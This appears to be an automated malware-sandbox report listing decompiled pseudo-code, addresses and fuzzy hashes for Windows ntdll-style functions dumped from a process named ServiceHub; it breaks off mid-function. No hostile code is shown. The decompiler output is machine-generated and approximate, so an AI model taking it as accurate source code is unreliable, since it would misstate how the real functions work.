                                          Function 012705AC Relevance: 1.4, Strings: 1, Instructions: 115COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 71%
                                          			E012705AC(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* _t35;
				signed int _t42;
				char* _t48;
				signed int _t59;
				signed char _t61;
				signed int* _t79;
				void* _t88;

				_v28 = __edx;
				_t79 = __ecx;
				if(E012707DF(__ecx, __edx,  &_a4,  &_a8, 0) == 0) {
					L13:
					_t35 = 0;
					L14:
					return _t35;
				}
				_t61 = __ecx[1];
				_t59 = __ecx[0xf];
				_v32 = (_a4 << 0xc) + (__edx - ( *__ecx & __edx) >> 4 << _t61) + ( *__ecx & __edx);
				_v36 = _a8 << 0xc;
				_t42 =  *(_t59 + 0xc) & 0x40000000;
				asm("sbb esi, esi");
				_t88 = ( ~_t42 & 0x0000003c) + 4;
				if(_t42 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t59);
					_push(0xffffffff);
					if(E011E9730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t59) {
						_push(_t61);
						E0126A80D(_t59, 1, _v20, 0);
						_t88 = 4;
					}
				}
				_t35 = E0126A854( &_v32,  &_v36, 0, 0x1000, _t88, 0,  *((intOrPtr*)(_t79 + 0x34)),  *((intOrPtr*)(_t79 + 0x38)));
				if(_t35 < 0) {
					goto L14;
				}
				E01271293(_t79, _v40, E012707DF(_t79, _v28,  &_a4,  &_a8, 1));
				if(E011C7D50() == 0) {
					_t48 = 0x7ffe0380;
				} else {
					_t48 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				if( *_t48 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
					E0126138A(_t59,  *((intOrPtr*)(_t79 + 0x3c)), _v32, _v36, 0xa);
				}
				goto L13;
			}

















                                          0x012705c5
                                          0x012705ca
                                          0x012705d3
                                          0x012706db
                                          0x012706db
                                          0x012706dd
                                          0x012706e3
                                          0x012706e3
                                          0x012705dd
                                          0x012705e7
                                          0x012705f6
                                          0x01270600
                                          0x01270607
                                          0x01270610
                                          0x01270615
                                          0x0127061a
                                          0x0127061c
                                          0x0127061e
                                          0x01270624
                                          0x01270625
                                          0x01270627
                                          0x01270628
                                          0x01270631
                                          0x01270640
                                          0x0127064d
                                          0x01270654
                                          0x01270654
                                          0x01270631
                                          0x0127066d
                                          0x01270674
                                          0x00000000
                                          0x00000000
                                          0x01270692
                                          0x0127069e
                                          0x012706b0
                                          0x012706a0
                                          0x012706a9
                                          0x012706a9
                                          0x012706b8
                                          0x012706d6
                                          0x012706d6
                                          0x00000000

                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: `
                                          • API String ID: 0-2679148245
                                          • Opcode ID: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
                                          • Instruction ID: 9ebd709b28aac9cc7689a30c0f6f61044edc6626815ebc81797b3fe3d042dd9f
                                          • Opcode Fuzzy Hash: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
                                          • Instruction Fuzzy Hash: 1E3111322103066FE720DE29CC85F9B7BD9ABC4754F144228FA48EB2C0D770E918CB95
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01223884 Relevance: 1.3, Strings: 1, Instructions: 95COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 72%
                                          			E01223884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = E011E9650();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L011C4620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = E011E9650();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}















                                          0x01223893
                                          0x01223896
                                          0x01223899
                                          0x0122389f
                                          0x012238a0
                                          0x012238a4
                                          0x012238a9
                                          0x012238ac
                                          0x012238ad
                                          0x012238ae
                                          0x012238af
                                          0x012238b1
                                          0x012238b4
                                          0x012238bb
                                          0x012238bc
                                          0x012238bd
                                          0x012238c4
                                          0x012238c8
                                          0x012238ca
                                          0x012238ca
                                          0x012238d5
                                          0x0122393e
                                          0x01223940
                                          0x01223942
                                          0x01223952
                                          0x01223954
                                          0x01223961
                                          0x01223961
                                          0x01223967
                                          0x0122396e
                                          0x0122396e
                                          0x01223947
                                          0x0122394c
                                          0x00000000
                                          0x0122394c
                                          0x012238ea
                                          0x012238ee
                                          0x012238f8
                                          0x012238f9
                                          0x012238ff
                                          0x01223900
                                          0x01223902
                                          0x01223903
                                          0x0122390b
                                          0x0122390f
                                          0x01223950
                                          0x00000000
                                          0x01223950
                                          0x01223915
                                          0x0122391d
                                          0x0122391d
                                          0x01223922
                                          0x01223926
                                          0x00000000
                                          0x01223928
                                          0x0122392b
                                          0x0122392b
                                          0x01223935
                                          0x01223937
                                          0x01223937
                                          0x00000000
                                          0x01223935
                                          0x01223926
                                          0x012238f0
                                          0x00000000

                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: BinaryName
                                          • API String ID: 0-215506332
                                          • Opcode ID: 75895a915235a17b3156afff60598b929ff1357cf1f2d8a1a53a170fbc623fd5
                                          • Instruction ID: 073aab3ccd078b6e944ef0ac8dbc39b25bfe58ba136cca146c660442ed172e3d
                                          • Opcode Fuzzy Hash: 75895a915235a17b3156afff60598b929ff1357cf1f2d8a1a53a170fbc623fd5
                                          • Instruction Fuzzy Hash: 24312772E1052ABFDB15DA5CC945E7FBBB4FB89B20F014129EA04A7250D7749E00CBA0
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011DD294 Relevance: 1.3, Strings: 1, Instructions: 93COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 33%
                                          			E011DD294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0x129d360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E011C4120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E011EB640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E011E98D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E011E95D0();
					L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

































                                          0x011dd29c
                                          0x011dd2a6
                                          0x011dd2b1
                                          0x011dd2b5
                                          0x011dd2b6
                                          0x011dd2bc
                                          0x011dd2bd
                                          0x011dd2be
                                          0x011dd2bf
                                          0x011dd2c2
                                          0x011dd2c4
                                          0x011dd2cc
                                          0x011dd384
                                          0x011dd34b
                                          0x011dd34f
                                          0x011dd350
                                          0x011dd351
                                          0x011dd35c
                                          0x011dd35c
                                          0x011dd2d6
                                          0x011dd2da
                                          0x011dd2e1
                                          0x011dd361
                                          0x011dd369
                                          0x011dd36d
                                          0x011dd2e3
                                          0x011dd2e3
                                          0x011dd2e3
                                          0x011dd2e5
                                          0x011dd2ed
                                          0x011dd2f5
                                          0x011dd2fa
                                          0x011dd302
                                          0x011dd303
                                          0x011dd30b
                                          0x011dd30f
                                          0x011dd313
                                          0x011dd318
                                          0x011dd31c
                                          0x011dd320
                                          0x011dd379
                                          0x011dd37d
                                          0x00000000
                                          0x00000000
                                          0x0121affe
                                          0x0121b001
                                          0x0121b011
                                          0x00000000
                                          0x011dd322
                                          0x011dd322
                                          0x011dd330
                                          0x011dd337
                                          0x011dd35d
                                          0x011dd339
                                          0x011dd33f
                                          0x011dd38c
                                          0x011dd38c
                                          0x011dd33f
                                          0x011dd349
                                          0x00000000
                                          0x011dd349

                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: @
                                          • API String ID: 0-2766056989
                                          • Opcode ID: 15929c0ad3cbd68d1c4b0c07649bce204d63f94805771223e9edf47fbee01b68
                                          • Instruction ID: 2f372751640b73e773cf4c5a6ced9ff42cb80e6d665e9b6539b08387180c519f
                                          • Opcode Fuzzy Hash: 15929c0ad3cbd68d1c4b0c07649bce204d63f94805771223e9edf47fbee01b68
                                          • Instruction Fuzzy Hash: 2D31D1F550C705AFCB29DF68D88496BBBE8EB99654F00092EF98483290DB34DD04CB93
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011B1B8F Relevance: 1.3, Strings: 1, Instructions: 86COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 72%
                                          			E011B1B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _t26;
				intOrPtr _t29;
				void* _t30;
				signed int _t31;

				_t27 = __ecx;
				_t29 = __edx;
				_t31 = 0;
				_v8 = __edx;
				if(__edx == 0) {
					L18:
					_t30 = 0xc000000d;
					goto L12;
				} else {
					_t26 = _a4;
					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
						goto L18;
					} else {
						E011EBB40(__ecx,  &_v16, __ecx);
						_push(_t26);
						_push(0);
						_push(0);
						_push(_t29);
						_push( &_v16);
						_t30 = E011EA9B0();
						if(_t30 >= 0) {
							_t19 =  *_t26;
							if( *_t26 != 0) {
								goto L7;
							} else {
								 *_a8 =  *_a8 & 0;
							}
						} else {
							if(_t30 != 0xc0000023) {
								L9:
								_push(_t26);
								_push( *_t26);
								_push(_t31);
								_push(_v8);
								_push( &_v16);
								_t30 = E011EA9B0();
								if(_t30 < 0) {
									L12:
									if(_t31 != 0) {
										L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
									}
								} else {
									 *_a8 = _t31;
								}
							} else {
								_t19 =  *_t26;
								if( *_t26 == 0) {
									_t31 = 0;
								} else {
									L7:
									_t31 = L011C4620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
								}
								if(_t31 == 0) {
									_t30 = 0xc0000017;
								} else {
									goto L9;
								}
							}
						}
					}
				}
				return _t30;
			}









                                          0x011b1b8f
                                          0x011b1b9a
                                          0x011b1b9c
                                          0x011b1b9e
                                          0x011b1ba3
                                          0x01207010
                                          0x01207010
                                          0x00000000
                                          0x011b1ba9
                                          0x011b1ba9
                                          0x011b1bae
                                          0x00000000
                                          0x011b1bc5
                                          0x011b1bca
                                          0x011b1bcf
                                          0x011b1bd0
                                          0x011b1bd1
                                          0x011b1bd2
                                          0x011b1bd6
                                          0x011b1bdc
                                          0x011b1be0
                                          0x01206ffc
                                          0x01207000
                                          0x00000000
                                          0x01207006
                                          0x01207009
                                          0x01207009
                                          0x011b1be6
                                          0x011b1bec
                                          0x011b1c0b
                                          0x011b1c0b
                                          0x011b1c0c
                                          0x011b1c11
                                          0x011b1c12
                                          0x011b1c15
                                          0x011b1c1b
                                          0x011b1c1f
                                          0x011b1c31
                                          0x011b1c33
                                          0x01207026
                                          0x01207026
                                          0x011b1c21
                                          0x011b1c24
                                          0x011b1c24
                                          0x011b1bee
                                          0x011b1bee
                                          0x011b1bf2
                                          0x011b1c3a
                                          0x011b1bf4
                                          0x011b1bf4
                                          0x011b1c05
                                          0x011b1c05
                                          0x011b1c09
                                          0x011b1c3e
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011b1c09
                                          0x011b1bec
                                          0x011b1be0
                                          0x011b1bae
                                          0x011b1c2e

                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: WindowsExcludedProcs
                                          • API String ID: 0-3583428290
                                          • Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
                                          • Instruction ID: 2a0ddde159c2b3ecec99d6a96a6d4054564424b0c467a8ee635aaf2ab4f354c9
                                          • Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
                                          • Instruction Fuzzy Hash: AB21F53A501629BBDB2ADA99A8D4FDBBBADAF41A50F074525FA048B200D730DD0087E1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011CF716 Relevance: 1.3, Strings: 1, Instructions: 71COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011CF716(signed int __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _t13;
				intOrPtr _t14;
				signed int _t16;
				signed char _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				intOrPtr _t23;
				intOrPtr* _t25;

				_t25 = _a8;
				_t17 = __ecx;
				if(_t25 == 0) {
					_t19 = 0xc00000f2;
					L8:
					return _t19;
				}
				if((__ecx & 0xfffffffe) != 0) {
					_t19 = 0xc00000ef;
					goto L8;
				}
				_t19 = 0;
				 *_t25 = 0;
				_t21 = 0;
				_t23 = "Actx ";
				if(__edx != 0) {
					if(__edx == 0xfffffffc) {
						L21:
						_t21 = 0x200;
						L5:
						_t13 =  *((intOrPtr*)( *[fs:0x30] + _t21));
						 *_t25 = _t13;
						L6:
						if(_t13 == 0) {
							if((_t17 & 0x00000001) != 0) {
								 *_t25 = _t23;
							}
						}
						L7:
						goto L8;
					}
					if(__edx == 0xfffffffd) {
						 *_t25 = _t23;
						_t13 = _t23;
						goto L6;
					}
					_t13 =  *((intOrPtr*)(__edx + 0x10));
					 *_t25 = _t13;
					L14:
					if(_t21 == 0) {
						goto L6;
					}
					goto L5;
				}
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 =  *(_t14 + 0x14) & 0x00000007;
					if(_t16 <= 1) {
						_t21 = 0x1f8;
						_t13 = 0;
						goto L14;
					}
					if(_t16 == 2) {
						goto L21;
					}
					if(_t16 != 4) {
						_t19 = 0xc00000f0;
						goto L7;
					}
					_t13 = 0;
					goto L6;
				} else {
					_t21 = 0x1f8;
					goto L5;
				}
			}











                                          0x011cf71d
                                          0x011cf722
                                          0x011cf726
                                          0x01214770
                                          0x011cf765
                                          0x011cf769
                                          0x011cf769
                                          0x011cf732
                                          0x0121477a
                                          0x00000000
                                          0x0121477a
                                          0x011cf738
                                          0x011cf73a
                                          0x011cf73c
                                          0x011cf73f
                                          0x011cf746
                                          0x011cf778
                                          0x011cf7a9
                                          0x011cf7a9
                                          0x011cf754
                                          0x011cf75a
                                          0x011cf75d
                                          0x011cf75f
                                          0x011cf761
                                          0x011cf76f
                                          0x011cf771
                                          0x011cf771
                                          0x011cf76f
                                          0x011cf763
                                          0x00000000
                                          0x011cf763
                                          0x011cf77d
                                          0x011cf7a3
                                          0x011cf7a5
                                          0x00000000
                                          0x011cf7a5
                                          0x011cf77f
                                          0x011cf782
                                          0x011cf784
                                          0x011cf786
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011cf788
                                          0x011cf748
                                          0x011cf74d
                                          0x011cf78d
                                          0x011cf793
                                          0x011cf7b7
                                          0x011cf7bc
                                          0x00000000
                                          0x011cf7bc
                                          0x011cf798
                                          0x00000000
                                          0x00000000
                                          0x011cf79d
                                          0x011cf7b0
                                          0x00000000
                                          0x011cf7b0
                                          0x011cf79f
                                          0x00000000
                                          0x011cf74f
                                          0x011cf74f
                                          0x00000000
                                          0x011cf74f

                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: Actx
                                          • API String ID: 0-89312691
                                          • Opcode ID: b8be977a257277b5781b3e19002376f99f9a37bfa2f35a555e7ef89bfe780706
                                          • Instruction ID: 0c22b56883f07068b190174b2e0cd6243bec413978eb156d78a12aa6e6416a6c
                                          • Opcode Fuzzy Hash: b8be977a257277b5781b3e19002376f99f9a37bfa2f35a555e7ef89bfe780706
                                          • Instruction Fuzzy Hash: 2E11BB38304F438BEB2D4F1C88946367697ABB6E24F26452EE566CB791DB70C8038342
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01258DF1 Relevance: 1.3, Strings: 1, Instructions: 45COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 71%
                                          			E01258DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				void* _t41;

				_t40 = __esi;
				_t39 = __edi;
				_t38 = __edx;
				_t35 = __ecx;
				_t34 = __ebx;
				_push(0x74);
				_push(0x1280d50);
				E011FD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
					E01235720(0x65, 0, "Critical error detected %lx\n", _t35);
					if( *((intOrPtr*)(_t41 + 8)) != 0) {
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						asm("int3");
						 *(_t41 - 4) = 0xfffffffe;
					}
				}
				 *(_t41 - 4) = 1;
				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t41 - 0x64)) = L011FDEF0;
				 *((intOrPtr*)(_t41 - 0x60)) = 1;
				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
				_push(_t41 - 0x70);
				L011FDEF0(1, _t38);
				 *(_t41 - 4) = 0xfffffffe;
				return E011FD130(_t34, _t39, _t40);
			}





                                          0x01258df1
                                          0x01258df1
                                          0x01258df1
                                          0x01258df1
                                          0x01258df1
                                          0x01258df1
                                          0x01258df3
                                          0x01258df8
                                          0x01258dfd
                                          0x01258e00
                                          0x01258e0e
                                          0x01258e2a
                                          0x01258e36
                                          0x01258e38
                                          0x01258e3c
                                          0x01258e46
                                          0x01258e46
                                          0x01258e36
                                          0x01258e50
                                          0x01258e56
                                          0x01258e59
                                          0x01258e5c
                                          0x01258e60
                                          0x01258e67
                                          0x01258e6d
                                          0x01258e73
                                          0x01258e74
                                          0x01258eb1
                                          0x01258ebd

                                          Strings
                                          • Critical error detected %lx, xrefs: 01258E21
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: Critical error detected %lx
                                          • API String ID: 0-802127002
                                          • Opcode ID: 7b631354f7dc0695d5aea505c446cfc2d20fd5927bea49b63606ffc19aad2018
                                          • Instruction ID: f4205c641566fe5b5b0e6ff0b56ed8d37dfc0ed791996d591f48685931f2486e
                                          • Opcode Fuzzy Hash: 7b631354f7dc0695d5aea505c446cfc2d20fd5927bea49b63606ffc19aad2018
                                          • Instruction Fuzzy Hash: A111AD71D24349DBDF29DFA995457ECBBB0BB04314F20425DE6296B292C3B40602DF14
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0123FF10 Relevance: 1.3, Strings: 1, Instructions: 44COMMON
                                          Download Yara Rule
                                          Strings
                                          • NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 0123FF60
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
                                          • API String ID: 0-1911121157
                                          • Opcode ID: ed98990a5e6c01a10106cc6a64ecd0aeea870ff98603704a2363d8d8452bae41
                                          • Instruction ID: 347bfd96e1995f4b8bb7f6ffc763799450060497122d4d31b1834f3cb13f6dea
                                          • Opcode Fuzzy Hash: ed98990a5e6c01a10106cc6a64ecd0aeea870ff98603704a2363d8d8452bae41
                                          • Instruction Fuzzy Hash: 0E1126B1920145EFDF26EF54D948FA87BB1FF44708F148058F6086B1A1C7389940DB91
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01275BA5 Relevance: .6, Instructions: 592COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 88%
                                          			E01275BA5(void* __ebx, signed char __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t296;
				signed char _t298;
				signed int _t301;
				signed int _t306;
				signed int _t310;
				signed char _t311;
				intOrPtr _t312;
				signed int _t313;
				void* _t327;
				signed int _t328;
				intOrPtr _t329;
				intOrPtr _t333;
				signed char _t334;
				signed int _t336;
				void* _t339;
				signed int _t340;
				signed int _t356;
				signed int _t362;
				short _t367;
				short _t368;
				short _t373;
				signed int _t380;
				void* _t382;
				short _t385;
				signed short _t392;
				signed char _t393;
				signed int _t395;
				signed char _t397;
				signed int _t398;
				signed short _t402;
				void* _t406;
				signed int _t412;
				signed char _t414;
				signed short _t416;
				signed int _t421;
				signed char _t427;
				intOrPtr _t434;
				signed char _t435;
				signed int _t436;
				signed int _t442;
				signed int _t446;
				signed int _t447;
				signed int _t451;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				intOrPtr _t456;
				intOrPtr* _t457;
				short _t458;
				signed short _t462;
				signed int _t469;
				intOrPtr* _t474;
				signed int _t475;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				short _t485;
				signed int _t491;
				signed int* _t494;
				signed int _t498;
				signed int _t505;
				intOrPtr _t506;
				signed short _t508;
				signed int _t511;
				void* _t517;
				signed int _t519;
				signed int _t522;
				void* _t523;
				signed int _t524;
				void* _t528;
				signed int _t529;

				_push(0xd4);
				_push(0x1281178);
				E011FD0E8(__ebx, __edi, __esi);
				_t494 = __edx;
				 *(_t528 - 0xcc) = __edx;
				_t511 = __ecx;
				 *((intOrPtr*)(_t528 - 0xb4)) = __ecx;
				 *(_t528 - 0xbc) = __ecx;
				 *((intOrPtr*)(_t528 - 0xc8)) =  *((intOrPtr*)(_t528 + 0x20));
				_t434 =  *((intOrPtr*)(_t528 + 0x24));
				 *((intOrPtr*)(_t528 - 0xc4)) = _t434;
				_t427 = 0;
				 *(_t528 - 0x74) = 0;
				 *(_t528 - 0x9c) = 0;
				 *(_t528 - 0x84) = 0;
				 *(_t528 - 0xac) = 0;
				 *(_t528 - 0x88) = 0;
				 *(_t528 - 0xa8) = 0;
				 *((intOrPtr*)(_t434 + 0x40)) = 0;
				if( *(_t528 + 0x1c) <= 0x80) {
					__eflags =  *(__ecx + 0xc0) & 0x00000004;
					if(__eflags != 0) {
						_t421 = E01274C56(0, __edx, __ecx, __eflags);
						__eflags = _t421;
						if(_t421 != 0) {
							 *((intOrPtr*)(_t528 - 4)) = 0;
							E011ED000(0x410);
							 *(_t528 - 0x18) = _t529;
							 *(_t528 - 0x9c) = _t529;
							 *((intOrPtr*)(_t528 - 4)) = 0xfffffffe;
							E01275542(_t528 - 0x9c, _t528 - 0x84);
						}
					}
					_t435 = _t427;
					 *(_t528 - 0xd0) = _t435;
					_t474 = _t511 + 0x65;
					 *((intOrPtr*)(_t528 - 0x94)) = _t474;
					_t511 = 0x18;
					while(1) {
						 *(_t528 - 0xa0) = _t427;
						 *(_t528 - 0xbc) = _t427;
						 *(_t528 - 0x80) = _t427;
						 *(_t528 - 0x78) = 0x50;
						 *(_t528 - 0x79) = _t427;
						 *(_t528 - 0x7a) = _t427;
						 *(_t528 - 0x8c) = _t427;
						 *(_t528 - 0x98) = _t427;
						 *(_t528 - 0x90) = _t427;
						 *(_t528 - 0xb0) = _t427;
						 *(_t528 - 0xb8) = _t427;
						_t296 = 1 << _t435;
						_t436 =  *(_t528 + 0xc) & 0x0000ffff;
						__eflags = _t436 & _t296;
						if((_t436 & _t296) != 0) {
							goto L92;
						}
						__eflags =  *((char*)(_t474 - 1));
						if( *((char*)(_t474 - 1)) == 0) {
							goto L92;
						}
						_t301 =  *_t474;
						__eflags = _t494[1] - _t301;
						if(_t494[1] <= _t301) {
							L10:
							__eflags =  *(_t474 - 5) & 0x00000040;
							if(( *(_t474 - 5) & 0x00000040) == 0) {
								L12:
								__eflags =  *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3];
								if(( *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3]) == 0) {
									goto L92;
								}
								_t442 =  *(_t474 - 0x11) & _t494[3];
								__eflags = ( *(_t474 - 0x15) & _t494[2]) -  *(_t474 - 0x15);
								if(( *(_t474 - 0x15) & _t494[2]) !=  *(_t474 - 0x15)) {
									goto L92;
								}
								__eflags = _t442 -  *(_t474 - 0x11);
								if(_t442 !=  *(_t474 - 0x11)) {
									goto L92;
								}
								L15:
								_t306 =  *(_t474 + 1) & 0x000000ff;
								 *(_t528 - 0xc0) = _t306;
								 *(_t528 - 0xa4) = _t306;
								__eflags =  *0x12960e8;
								if( *0x12960e8 != 0) {
									__eflags = _t306 - 0x40;
									if(_t306 < 0x40) {
										L20:
										asm("lock inc dword [eax]");
										_t310 =  *0x12960e8; // 0x0
										_t311 =  *(_t310 +  *(_t528 - 0xa4) * 8);
										__eflags = _t311 & 0x00000001;
										if((_t311 & 0x00000001) == 0) {
											 *(_t528 - 0xa0) = _t311;
